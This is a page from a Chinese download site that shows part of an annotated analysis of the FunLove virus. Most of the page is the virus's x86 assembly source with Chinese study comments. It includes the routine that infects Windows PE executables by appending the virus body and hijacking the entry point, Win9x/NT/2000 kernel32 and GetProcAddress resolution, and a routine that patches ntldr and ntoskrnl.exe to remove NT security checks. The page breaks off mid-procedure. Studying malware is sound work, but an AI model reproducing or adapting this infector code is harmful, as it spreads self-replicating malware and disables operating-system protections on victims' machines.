⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 funlove_vir.txt

📁 FunLove完整病毒分析.txt 论坛潜规则
💻 TXT
📖 第 1 页 / 共 4 页
字号:
 call OpenFile-----------|以打开存在文件的方式打开文件;
 
 cmp eax,-1-------------|
 jz IN_Exit------------|错误处理;
 
 mov i_FileHandle,eax;成功,保存文件句柄;
 
 push 00------------------|
 push eax |
 call GetFileSize---------|得到文件的大小;
 
 mov i_FileSize,eax ;保存在变量i_filesize里面;
 
 cmp al,03 ---------------| 
 jz IN_Exit--------------|判断文件是否已经被感染,如果是,跳过; 
 
 lea edi,[Buffer3 @];取得buffer3的有效地址;
 
 push 00 ----------|
 lea esi,i_BytesRead | 
 push esi |
 push 2000 | 
 push edi |
 push i_FileHandle |
 call ReadFile --------------|读出4096字节放到buffer3里面;
 
 cmp word ptr [edi],5A4Dh---|比较开始的字符是不是符合的文件,陷阱处理;
 jnz IN_CloseFile-----------|不是可以执行的格式就关闭文件;
 
 cmp word ptr [edi + 18],0040---|
 jnz IN_CloseFile---------------|是不是win文件,这里>=40hw为win文件,<为dos 文件,不是也跳过;
 
 cmp dword ptr [edi + 3C],1C00--| 
 ja IN_CloseFile---------------|比较dos头是不是3c,是表示已经感染过
 
 add edi,[edi + 3C];保存3ch处的值;
 
 mov eax,[edi]----------|
 cmp eax,00004550 | 
 jnz IN_CloseFile-------|比较是不是pe文件,不是的话,也关闭跳过;
 
 cmp word ptr [edi + 5C],2 ---------| 
 jnz IN_CloseFile-------------------|比较是不是gui的子系统的文件,不是也跳过
 
 mov esi,edi----------------|
 add esi,18 |
 add si,[edi + 14] |
 push esi -----------------|取得第一个节表的值;
 
 mov eax,[edi + 28];取得当前的执行节的rav,一般默认为1000;
 
 IN_00: 
 mov ecx,[esi + 0C]---|
 add ecx,[esi + 08]---|第一个节在内存中的结束地址;
 
 cmp eax,ecx;比较eax是否小于ecx,rav是否小于当前的地址,如果小于就跳转到
 in_01,如果大于就继续找,我这里有个问题,但是现在搞懂了:
 jc short IN_01 
 
 add esi,28--------|
 jmp short IN_00---|指针加28,指向下一个节;
 
 IN_01:
 sub eax,[esi + 0C]------|
 add eax,[esi + 14] |
 mov i_EP_Offset,eax-----|得到节基于文件的偏移量;
 
 or [esi + 24],80000000;改变本节的属性,将它改为可写;(这里是修改的ep节的属性为什么呢?)
 
 pop esi ;刷新一次esi的值,这里又回到第一个节表头了,注意这里是为了上面的
 add esi,28 操作后的所起的影响而写的 
 xor ecx,ecx;清0ecx;
 mov cx,[edi + 06];取得节的个数;
 dec ecx;减一个------|
 mov eax,ecx |
 mov edx,28 |
 mul edx |
 add esi,eax----------|得到最后一个节的位置;
 
 
 mov eax,[esi + 24]---------|
 cmp al,80 |
 jz IN_CloseFile ----------|是否已经初始化了,如果是就关闭文件(是不是就是表示感染了?); 
 
 or eax,8C000000 -----------| 
 and eax,not 12000000 |
 mov [esi + 24],eax-----------|将它改为可写,不共享,不可删除;
 
 mov ecx,i_FileSize--------| 
 mov edx,ecx |
 mov eax,ecx | 
 clc |
 shr eax,03 | 
 sub edx,eax |
 sub edx,[esi + 14] |
 jc short IN_02-----------|判断是否是自解压文件;如果小于则认为是sfx, 感染 
 
 sub edx,[esi + 10]?????????????
 jnc IN_CloseFile
 
 IN_02: 
 
 mov edx,[esi + 08];得到文件的虚拟大小;
 
 sub ecx,[esi + 14];得到最后一个节的实际开始地址; 
 jc short IN_03;如果小于?就是说当前居然文件长度居然比最后一节都小?
 
 cmp edx,ecx;用虚拟尺寸减去实际长度?疯了哦,怎么可能小嘛?
 ja short IN_03;如果目的都没有达到的话
 
 mov edx,ecx;就把现在的地址给edx了;
 
 IN_03:
 test edx,00000FFF ; align on 1000h
 jz short IN_04
 
 and edx,0FFFFF000
 add edx,1000
 
 IN_04:
 mov ecx,edx------------|
 add ecx,[esi + 0C] |
 mov eax,ecx |
 add eax,Virt_VSize |
 mov [edi + 50],eax-----|以前的虚拟尺寸在加上现在的尺寸,然后在更新 SizeOfImage
 
 sub ecx,[edi + 28]----------------|
 add ecx,offset VStart - 100 - 08 |
 mov i_HostDep32,ecx---------------|rav
 
 mov eax,edx-----------------------| 
 add eax,Virt_VSize |
 mov [esi + 08],eax----------------|增加虚拟尺寸;
 
 mov eax,edx 
 add eax,[esi + 14]
 mov i_VirusOffset,eax
 
 add edx,Phys_VSize----------------|
 mov [esi + 10],edx |
 add edx,[esi + 14] |
 add edx,03------------------------|增加物理尺寸 
 
 push i_FileHandle--------|
 push edx |
 call MapFile-------------|建立内存映射文件;
 
 or eax,eax--------------|
 jz short IN_CloseFile---|失败退出;
 
 mov i_MapHandle,eax;保存句柄;
 
 push eax--------|
 call ViewMap----|映射文件对象到本进程空间;
 
 or eax,eax--------------|
 jz short IN_CloseMap----|错误就关闭内存映射文件;
 
 mov edx,eax;保存文件在内存的映射的位置;
 
 lea esi,[Buffer3 @]--------| 
 mov edi,edx |
 mov ecx,2000 |
 repz movsb------------------|写pe头;
 
 lea edi,[HostCode @]------|
 mov esi,i_EP_Offset |
 add esi,edx---------------|得到在新的内存空间里的ep的地址;
 movsd
 movsd
 
 mov edi,esi ; set up call gs:Virus
 sub edi,08
 mov eax,00E8659090
 stosd
 mov eax,i_HostDep32
 stosd
 
 mov edi,edx ;edi现在存放的是本文件在内存中的地址了;
 mov eax,i_FileSize;eax存放文件的大小;
 mov ecx,i_VirusOffset;ecx存放病毒代码基于文件的偏移地址;
 sub ecx,eax;用病毒的偏移减去文件的大小;
 jna short IN_05;如果比文件大的话就去in-05
 
 add edi,eax;现在edi移动到文件的末尾了
 xor al,al;al清0;
 repz stosb;开始以cx为记数初始化后面的空间;
 
 IN_05:
 mov esi,ebx ;源串地址就是我们的开始地址; ------| 
 mov edi,edx ;edi为我们的文件在内存中的映射位置; |
 add edi,i_VirusOffset;定位到病毒基于文件的地址; |
 mov ecx,VSize;循环的次数; | 
 repz movsb;复制;----------------------------------|写入病毒体;
 
 mov ecx,Phys_VSize - VSize + 3----|
 repz stosb-------------------------|??????
 
 push edx;把edx的值即现在的文件在内存中的位置作为参数传递给unmapviewoffile
 call UnmapViewOfFile;解除对文件对象在当前地址空间的映射;
 
 IN_CloseMap:
 
 push i_MapHandle-----|
 call CloseHandle-----|关闭文件对象;
 
 call Wait_A_Little;休眠函数;
 
 IN_CloseFile:
 
 lea esi,[Buffer2 + 14 @]---| 
 push esi |
 sub esi,08 |
 push esi |
 sub esi,08 |
 push esi | 
 push i_FileHandle |
 call SetFileTime------------|恢复文件的时间;
 
 push i_FileHandle---|
 call CloseHandle----|关闭文件;
 
 IN_Exit:
 ret;返回;
 
 
 InfectFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------- GetProcAddress Search Routine ------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 Whereis_GPA PROC PASCAL NEAR
 
 
 ARG w_Kernel32 : DWORD ;的到通过堆栈传递的值,kernel32里面的返回地址;
 USES esi,edi ;先保存这个2个寄存器的值,本过程执行完后,自动恢复;
 
 
 lea esi,[GPA_Sigs @] ;取得判断操作系统的特征字符串的首地址;
 
 mov byte ptr [OS @],00 ;变量os初始为0,它的作用在于程序以后的执行
 可以直接通过它的值来判断操作系统, 
 mov eax,w_Kernel32;把得到地址进行与操作,得到它的高3位,为了便于理解我这是这么
 and eax,0FFF00000 ;称呼;
 
 cmp eax,0BFF00000 ;比较时候为9x的地址特征;
 jnz short OS_WinNT? ;不是就到nt那一段去判断;
 
 OS_Win9x:
 
 mov edi,0BFF70000 ;把固定的kernel32在9x里面的值赋予edi,这里就是4位补齐了
 jmp short WG_00 ;然后跳转到wg_00去执行;请大家注意这里的os没有加1
 
 OS_WinNT?:
 
 inc byte ptr [OS @] ;os+1,后面的程序以此作为是否是nt系统的判断;
 add esi,08 ;esi加8,指向gpa_sigs里面的nt4这个位置;
 cmp eax,077F00000;继续比较是否为nt的系统;
 jnz short OS_Win2K? ;不是,就到2k的那段去判断;
 
 mov edi,eax ;是的话,就保存,然后去wg_00执行,请大家注意,这里funlove里面
 jmp short WG_00 ;把nt的基地址认为的是077f00000;其实是4位的,只是有位为0,
 这里就没有重新赋值。
 
 OS_Win2K?:
 
 inc byte ptr [OS @];os+1,后面的程序以此作为是否是2000系统的判断;
 add esi,08 ;esi加8,指向gpa_siga里面的2k这个位置;
 cmp eax,077E00000 ;比较是否是2000的kernel32的地址;
 jnz short WG_Failed ;不是,表示不是需要的操作系统,就失败跳转;
 注意一点,这里的失败,因为操作系统的版本
 或者打补丁的问题,也会出现的。
 
 mov edi,077E80000;没有失败,表示是2k的了,赋2k里面的基地址;
 
 WG_00:
 
 mov edx,edi ;edx里面保存上面判断后得到的基地址;
 mov ecx,20000 ;循环20000,开始暴力搜索getprocessaddress的地址;
 
 WG_01:
 push ecx ;保存ecx的值;
 mov ecx,08 ;--- ecx赋值为8,把现在的esi里面的前缀字符串
 push esi | 传递给edi。
 push edi | 
 repz cmpsb;------
 pop edi ;edi恢复值,为下一次查找做准备;
 pop esi ;esi恢复值,为下一次查找做准备;
 pop ecx ;恢复ecx的值,2000
 jz short WG_02 ;如果相等,去wg_02执行,找到getprocaddress的地址了
 inc edi ;不等,edi加1,即,从kernel32的基地址外下走一位,然后
 loop WG_01;继续查找,直到找到;注意,这里用的是特征字符串判断的方式
 所以不必在意kernel32里面的指令什么的,一位一位的比较就是了
 btw:这种方式不是很好,可以用whg的方法,
 w_Failed: 
 
 xor eax,eax ;错误处理,退出
 jmp short WG_03; 
 
 WG_02:
 add edi,03 ;找到后,把值赋给变量getprocaddress;
 mov [GetProcAddress + 1 @],edi;这里加个1是因为第一位是mov ax的机器码
 
 mov eax,edx ;保存kernel32的基地址,
 mov [Kernel32_Base @],eax;为后面的操作做准备;
 
 WG_03:
 ret ;返回
 
 
 Whereis_GPA ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------ DLL Functions Relocation Routine ----------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 DLL_Relocate PROC PASCAL NEAR
 
 
 ARG DLL_Base : DWORD,; 得到基地址,就是在调用过程里面压入的eax的值;
 DLL_Func : DWORD ;得到要查找api的名字字符串首地址;
 
 USES esi ;保存esi,本过程结束后自动恢复;
 
 
 mov esi,DLL_Func ;把地址给esi,在串操作里可以做源串地址;
 
 DR_00:
 mov eax,esi;eax现在是查找的api的字符串的地址了;
 add eax,07 ;到第七个字节的地方;
 push eax ;地址入栈;
 push DLL_Base ;kernel32的基地址入栈,给getprocaddress当参数;
 call GetProcAddress;调用getprocaddres得到其他的常用的api的地址,注意
 这里不包括高级api的名字列表;
 例如:CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0 
 1 2 3 4 5 6 7 8 
 当add eax,07 后,从0b8开始(0b8是mov ax的机器码)加7后
 就到了‘closehandle‘这里,就可以取字符串进行比较了;
 另外在说说,这里的结构,0b8是mov ax,而0ffe0是jmp ax的机器码
 后面的4个字节的空间是用来存放找到后的api的地址的,我们来看看
 这里的汇编代码就知道了;
 0b8,???? 对应为 mov ax,????->这里的????就是在查找后的地址,找到后加到这里 就是一句完整的语句了;
 0ff,0e0 对应为 jmp ax --->>这里一看就明白了,是跳转到ax所代表的地址去执行
 。就是这里的api啦; 
 
 or eax,eax ;
 jz short DR_03;返回值如果为0,则失败,跳转到dr_03执行;
 
 DR_01:
 mov [esi + 1],eax;现在这里清楚了吧,esi+1后就是那4个????的地址,而eax在
 getprocaddress执行后是代表的当前的这个查找的api在krnel32 里面的入口地址;
 add esi,07 ;注意:上面是[esi+1],不是esi+1,esi的值没变化,加7后,就 到了字符串的位置了;
 
 DR_02:
 lodsb -----|
 or al,al | 这里是一个一个字节的比较是否为‘0’,为什么这么做呢?
 jnz short DR_02-----| 
 大家再看看上面的结构,在过了7个字节后,就是api的名字了
 因为名字长短不一,所以就只加了7,然后在用0来作为判断 api名字字符串结束的标志;
 cmp byte ptr [esi],0B8;这里也就简单了,比较是否是0b8,判断是否到了第二行;
 jz short DR_00 ;是则继续查找剩下的api,直到找完;
 
 DR_03:
 ret ;返回;
 
 
 DLL_Relocate ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; --------------------- NT Security Patch Routine --------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 BlownAway PROC PASCAL NEAR
 
 
 ARG DirEnd : DWORD;得到buffer1里面的当前字符串的最后一位的位置; 
 USES esi,edi;保存esi,edi的值,本过程完成后恢复; 
 
 
 lea esi,[NTLDR @]-----|
 mov edi,DirEnd | 
 movsd |
 movsd -----------|构造形入x:\ntldr的字符串,在buffer1中;
 
 lea edi,[Buffer1 @];当前的buffer1的首地址入edi;
 lea esi,[NT4_NTLDR @];nt的ntldr的要计较的操作代码字符串的首地址入esi;
 
 cmp byte ptr [OS @],01;比较当前是否是nt,
 jz short BA_00;是则执行打补丁的步骤;
 add esi,5 * 2;不是nt,那么esi指向变量W2K_NTLDR的位置,认为是2k的系统;
 
 BA_00:
 
 push edi;-------|
 push esi |
 push 05 |
 call PatchFile---|开始给ntldr打补丁; 
 
 lea esi,[NTOSKRNL @]----------------|
 mov edi,DirEnd |构造如x:\WINNT\System32\ntoskrnl.exe形 |式的字符串;
 | 
 BA_01: | 
 |
 movsb |
 cmp byte ptr [esi - 1],00 |
 jnz short BA_01---------------------| 
 
 lea edi,[Buffer1 @]----------------|
 lea esi,[NT4_NTOSKRNL @] |
 | 
 cmp byte ptr [OS @],01 |
 jz short BA_02 |
 add esi,9 * 2 |
 |
 BA_02: |
 |
 push edi |
 push esi |
 push 09 |
 call PatchFile----------------------|给ntoskrnl.exe打补丁,和上面类似;
 ret 至此打补丁的任务结束,可以收线了,缝缝补补也挺累人的;
 
 BlownAway ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------- File Patch Routine ------------------------ ;
 ; ------------------------------------------------------------------------- ;
 
 
 PatchFile PROC PASCAL NEAR
 
 
 ARG p_Filename : DWORD, \得到文件名;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -